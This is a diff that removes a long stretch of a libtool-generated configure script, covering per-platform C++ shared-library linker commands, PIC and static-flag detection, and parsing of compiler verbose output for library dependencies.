- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- esac
- ;;
- lynxos*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- m88k*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- mvs*)
- case $cc_basename in
- cxx*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_CXX='$LD -Bshareable -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags'
- wlarc=
- hardcode_libdir_flag_spec_CXX='-R$libdir'
- hardcode_direct_CXX=yes
- hardcode_shlibpath_var_CXX=no
- fi
- # Workaround some broken pre-1.5 toolchains
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"'
- ;;
- openbsd2*)
- # C++ shared libraries are fairly broken
- ld_shlibs_CXX=no
- ;;
- openbsd*)
- hardcode_direct_CXX=yes
- hardcode_shlibpath_var_CXX=no
- archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_expsym_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib'
- export_dynamic_flag_spec_CXX='${wl}-E'
- whole_archive_flag_spec_CXX="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- fi
- output_verbose_link_cmd='echo'
- ;;
- osf3*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Archives containing C++ object files must be created using
- # "CC -Bstatic", where "CC" is the KAI C++ compiler.
- old_archive_cmds_CXX='$CC -Bstatic -o $oldlib $oldobjs'
-
- ;;
- RCC*)
- # Rational C++ 2.4.1
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- cxx*)
- allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_CXX='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && echo ${wl}-set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- osf4* | osf5*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Archives containing C++ object files must be created using
- # the KAI C++ compiler.
- old_archive_cmds_CXX='$CC -o $oldlib $oldobjs'
- ;;
- RCC*)
- # Rational C++ 2.4.1
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- cxx*)
- allow_undefined_flag_CXX=' -expect_unresolved \*'
- archive_cmds_CXX='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds_CXX='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~
- echo "-hidden">> $lib.exp~
- $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl,$lib.exp `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~
- $rm $lib.exp'
-
- hardcode_libdir_flag_spec_CXX='-rpath $libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- psos*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- sunos4*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.x
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- lcc*)
- # Lucid
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- solaris*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- archive_cmds_need_lc_CXX=yes
- no_undefined_flag_CXX=' -zdefs'
- archive_cmds_CXX='$CC -G${allow_undefined_flag} -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -G${allow_undefined_flag} ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- hardcode_libdir_flag_spec_CXX='-R$libdir'
- hardcode_shlibpath_var_CXX=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The C++ compiler is used as linker so we must use $wl
- # flag to pass the commands to the underlying system
- # linker. We must also pass each convience library through
- # to the system linker between allextract/defaultextract.
- # The C++ compiler will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- whole_archive_flag_spec_CXX='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract'
- ;;
- esac
- link_all_deplibs_CXX=yes
-
- output_verbose_link_cmd='echo'
-
- # Archives containing C++ object files must be created using
- # "CC -xar", where "CC" is the Sun C++ compiler. This is
- # necessary to make sure instantiated templates are included
- # in the archive.
- old_archive_cmds_CXX='$CC -xar -o $oldlib $oldobjs'
- ;;
- gcx*)
- # Green Hills C++ Compiler
- archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
-
- # The C++ compiler must be used to create the archive.
- old_archive_cmds_CXX='$CC $LDFLAGS -archive -o $oldlib $oldobjs'
- ;;
- *)
- # GNU C++ compiler with Solaris linker
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- no_undefined_flag_CXX=' ${wl}-z ${wl}defs'
- if $CC --version | grep -v '^2\.7' > /dev/null; then
- archive_cmds_CXX='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd="$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
- else
- # g++ 2.7 appears to require `-G' NOT `-shared' on this
- # platform.
- archive_cmds_CXX='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd="$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
- fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-R $wl$libdir'
- fi
- ;;
- esac
- ;;
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7* | sco3.2v5.0.[024]*)
- no_undefined_flag_CXX='${wl}-z,text'
- archive_cmds_need_lc_CXX=no
- hardcode_shlibpath_var_CXX=no
- runpath_var='LD_RUN_PATH'
-
- case $cc_basename in
- CC*)
- archive_cmds_CXX='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- ;;
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- # For security reasons, it is highly recommended that you always
- # use absolute paths for naming shared libraries, and exclude the
- # DT_RUNPATH tag from executables and libraries. But doing so
- # requires that you compile everything twice, which is a pain.
- # So that behaviour is only enabled if SCOABSPATH is set to a
- # non-empty value in the environment. Most likely only useful for
- # creating official distributions of packages.
- # This is a hack until libtool officially supports absolute path
- # names for shared libraries.
- no_undefined_flag_CXX='${wl}-z,text'
- allow_undefined_flag_CXX='${wl}-z,nodefs'
- archive_cmds_need_lc_CXX=no
- hardcode_shlibpath_var_CXX=no
- hardcode_libdir_flag_spec_CXX='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator_CXX=':'
- link_all_deplibs_CXX=yes
- export_dynamic_flag_spec_CXX='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- case $cc_basename in
- CC*)
- archive_cmds_CXX='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- ;;
- tandem*)
- case $cc_basename in
- NCC*)
- # NonStop-UX NCC 3.20
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- vxworks*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
-$as_echo "$ld_shlibs_CXX" >&6; }
-test "$ld_shlibs_CXX" = no && can_build_shared=no
-
-GCC_CXX="$GXX"
-LD_CXX="$LD"
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-
-cat > conftest.$ac_ext <<EOF
-class Foo
-{
-public:
- Foo (void) { a = 0; }
-private:
- int a;
-};
-EOF
-
-if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- # Parse the compiler output and extract the necessary
- # objects, libraries and library flags.
-
- # Sentinel used to keep track of whether or not we are before
- # the conftest object file.
- pre_test_object_deps_done=no
-
- # The `*' in the case matches for architectures that use `case' in
- # $output_verbose_cmd can trigger glob expansion during the loop
- # eval without this substitution.
- output_verbose_link_cmd=`$echo "X$output_verbose_link_cmd" | $Xsed -e "$no_glob_subst"`
-
- for p in `eval $output_verbose_link_cmd`; do
- case $p in
-
- -L* | -R* | -l*)
- # Some compilers place space between "-{L,R}" and the path.
- # Remove the space.
- if test $p = "-L" \
- || test $p = "-R"; then
- prev=$p
- continue
- else
- prev=
- fi
-
- if test "$pre_test_object_deps_done" = no; then
- case $p in
- -L* | -R*)
- # Internal compiler library paths should come after those
- # provided the user. The postdeps already come after the
- # user supplied libs so there is no need to process them.
- if test -z "$compiler_lib_search_path_CXX"; then
- compiler_lib_search_path_CXX="${prev}${p}"
- else
- compiler_lib_search_path_CXX="${compiler_lib_search_path_CXX} ${prev}${p}"
- fi
- ;;
- # The "-l" case would never come before the object being
- # linked, so don't bother handling this case.
- esac
- else
- if test -z "$postdeps_CXX"; then
- postdeps_CXX="${prev}${p}"
- else
- postdeps_CXX="${postdeps_CXX} ${prev}${p}"
- fi
- fi
- ;;
-
- *.$objext)
- # This assumes that the test object file only shows up
- # once in the compiler output.
- if test "$p" = "conftest.$objext"; then
- pre_test_object_deps_done=yes
- continue
- fi
-
- if test "$pre_test_object_deps_done" = no; then
- if test -z "$predep_objects_CXX"; then
- predep_objects_CXX="$p"
- else
- predep_objects_CXX="$predep_objects_CXX $p"
- fi
- else
- if test -z "$postdep_objects_CXX"; then
- postdep_objects_CXX="$p"
- else
- postdep_objects_CXX="$postdep_objects_CXX $p"
- fi
- fi
- ;;
-
- *) ;; # Ignore the rest.
-
- esac
- done
-
- # Clean up.
- rm -f a.out a.exe
-else
- echo "libtool.m4: error: problem compiling CXX test program"
-fi
-
-$rm -f confest.$objext
-
-# PORTME: override above test on systems where it is broken
-case $host_os in
-interix3*)
- # Interix 3.5 installs completely hosed .la files for C++, so rather than
- # hack all around it, let's just trust "g++" to DTRT.
- predep_objects_CXX=
- postdep_objects_CXX=
- postdeps_CXX=
- ;;
-
-solaris*)
- case $cc_basename in
- CC*)
- # Adding this requires a known-good setup of shared libraries for
- # Sun compiler versions before 5.6, else PIC objects from an old
- # archive will be linked into the output, leading to subtle bugs.
- postdeps_CXX='-lCstd -lCrun'
- ;;
- esac
- ;;
-esac
-
-
-case " $postdeps_CXX " in
-*" -lc "*) archive_cmds_need_lc_CXX=no ;;
-esac
-
-lt_prog_compiler_wl_CXX=
-lt_prog_compiler_pic_CXX=
-lt_prog_compiler_static_CXX=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- # C++ specific cases for pic, static, wl, etc.
- if test "$GXX" = yes; then
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_CXX='-Bstatic'
- fi
- ;;
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic_CXX='-m68020 -resident32 -malways-restore-a4'
- ;;
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
- mingw* | os2* | pw32*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_CXX='-DDLL_EXPORT'
- ;;
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic_CXX='-fno-common'
- ;;
- *djgpp*)
- # DJGPP does not support shared libraries at all
- lt_prog_compiler_pic_CXX=
- ;;
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic_CXX=-Kconform_pic
- fi
- ;;
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- ;;
- *)
- lt_prog_compiler_pic_CXX='-fPIC'
- ;;
- esac
- ;;
- *)
- lt_prog_compiler_pic_CXX='-fPIC'
- ;;
- esac
- else
- case $host_os in
- aix4* | aix5*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_CXX='-Bstatic'
- else
- lt_prog_compiler_static_CXX='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- chorus*)
- case $cc_basename in
- cxch68*)
- # Green Hills C++ Compiler
- # _LT_AC_TAGVAR(lt_prog_compiler_static, CXX)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a"
- ;;
- esac
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic_CXX='-qnocommon'
- lt_prog_compiler_wl_CXX='-Wl,'
- ;;
- esac
- ;;
- dgux*)
- case $cc_basename in
- ec++*)
- lt_prog_compiler_pic_CXX='-KPIC'
- ;;
- ghcx*)
- # Green Hills C++ Compiler
- lt_prog_compiler_pic_CXX='-pic'
- ;;
- *)
- ;;
- esac
- ;;
- freebsd* | kfreebsd*-gnu | dragonfly*)
- # FreeBSD uses GNU C++
- ;;
- hpux9* | hpux10* | hpux11*)
- case $cc_basename in
- CC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='${wl}-a ${wl}archive'
- if test "$host_cpu" != ia64; then
- lt_prog_compiler_pic_CXX='+Z'
- fi
- ;;
- aCC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='${wl}-a ${wl}archive'
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_CXX='+Z'
- ;;
- esac
- ;;
- *)
- ;;
- esac
- ;;
- interix*)
- # This is c89, which is MS Visual C++ (no shared libs)
- # Anyone wants to do a port?
- ;;
- irix5* | irix6* | nonstopux*)
- case $cc_basename in
- CC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='-non_shared'
- # CC pic flag -KPIC is the default.
- ;;
- *)
- ;;
- esac
- ;;
- linux*)
- case $cc_basename in
- KCC*)
- # KAI C++ Compiler
- lt_prog_compiler_wl_CXX='--backend -Wl,'
- lt_prog_compiler_pic_CXX='-fPIC'
- ;;
- icpc* | ecpc*)
- # Intel C++
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_pic_CXX='-KPIC'
- lt_prog_compiler_static_CXX='-static'
- ;;
- pgCC*)
- # Portland Group C++ compiler.
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_pic_CXX='-fpic'
- lt_prog_compiler_static_CXX='-Bstatic'
- ;;
- cxx*)
- # Compaq C++
- # Make sure the PIC flag is empty. It appears that all Alpha
- # Linux and Compaq Tru64 Unix objects are PIC.
- lt_prog_compiler_pic_CXX=
- lt_prog_compiler_static_CXX='-non_shared'
- ;;
- *)
- ;;
- esac
- ;;
- lynxos*)
- ;;
- m88k*)
- ;;
- mvs*)
- case $cc_basename in
- cxx*)
- lt_prog_compiler_pic_CXX='-W c,exportall'
- ;;
- *)
- ;;
- esac
- ;;
- netbsd*)
- ;;
- osf3* | osf4* | osf5*)
- case $cc_basename in
- KCC*)
- lt_prog_compiler_wl_CXX='--backend -Wl,'
- ;;
- RCC*)
- # Rational C++ 2.4.1
- lt_prog_compiler_pic_CXX='-pic'
- ;;
- cxx*)
- # Digital/Compaq C++
- lt_prog_compiler_wl_CXX='-Wl,'
- # Make sure the PIC flag is empty. It appears that all Alpha
- # Linux and Compaq Tru64 Unix objects are PIC.
- lt_prog_compiler_pic_CXX=
- lt_prog_compiler_static_CXX='-non_shared'
- ;;
- *)
- ;;
- esac
- ;;
- psos*)
- ;;
- solaris*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- lt_prog_compiler_pic_CXX='-KPIC'
- lt_prog_compiler_static_CXX='-Bstatic'
- lt_prog_compiler_wl_CXX='-Qoption ld '
- ;;
- gcx*)
- # Green Hills C++ Compiler
- lt_prog_compiler_pic_CXX='-PIC'
- ;;
- *)
- ;;
- esac
- ;;
- sunos4*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.x
- lt_prog_compiler_pic_CXX='-pic'
- lt_prog_compiler_static_CXX='-Bstatic'
- ;;
- lcc*)
- # Lucid
- lt_prog_compiler_pic_CXX='-pic'
- ;;
- *)
- ;;
- esac
- ;;
- tandem*)
- case $cc_basename in
- NCC*)
- # NonStop-UX NCC 3.20
- lt_prog_compiler_pic_CXX='-KPIC'
- ;;
- *)
- ;;
- esac
- ;;
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- case $cc_basename in
- CC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_pic_CXX='-KPIC'
- lt_prog_compiler_static_CXX='-Bstatic'
- ;;
- esac
- ;;
- vxworks*)
- ;;
- *)
- lt_prog_compiler_can_build_shared_CXX=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_CXX" >&5
-$as_echo "$lt_prog_compiler_pic_CXX" >&6; }
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$lt_prog_compiler_pic_CXX"; then
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic_CXX works" >&5
-$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic_CXX works... " >&6; }
-if ${lt_prog_compiler_pic_works_CXX+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_pic_works_CXX=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic_CXX -DPIC"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_pic_works_CXX=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_works_CXX" >&5
-$as_echo "$lt_prog_compiler_pic_works_CXX" >&6; }
-
-if test x"$lt_prog_compiler_pic_works_CXX" = xyes; then
- case $lt_prog_compiler_pic_CXX in
- "" | " "*) ;;
- *) lt_prog_compiler_pic_CXX=" $lt_prog_compiler_pic_CXX" ;;
- esac
-else
- lt_prog_compiler_pic_CXX=
- lt_prog_compiler_can_build_shared_CXX=no
-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- lt_prog_compiler_pic_CXX=
- ;;
- *)
- lt_prog_compiler_pic_CXX="$lt_prog_compiler_pic_CXX -DPIC"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$lt_prog_compiler_wl_CXX eval lt_tmp_static_flag=\"$lt_prog_compiler_static_CXX\"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
-if ${lt_prog_compiler_static_works_CXX+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_static_works_CXX=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
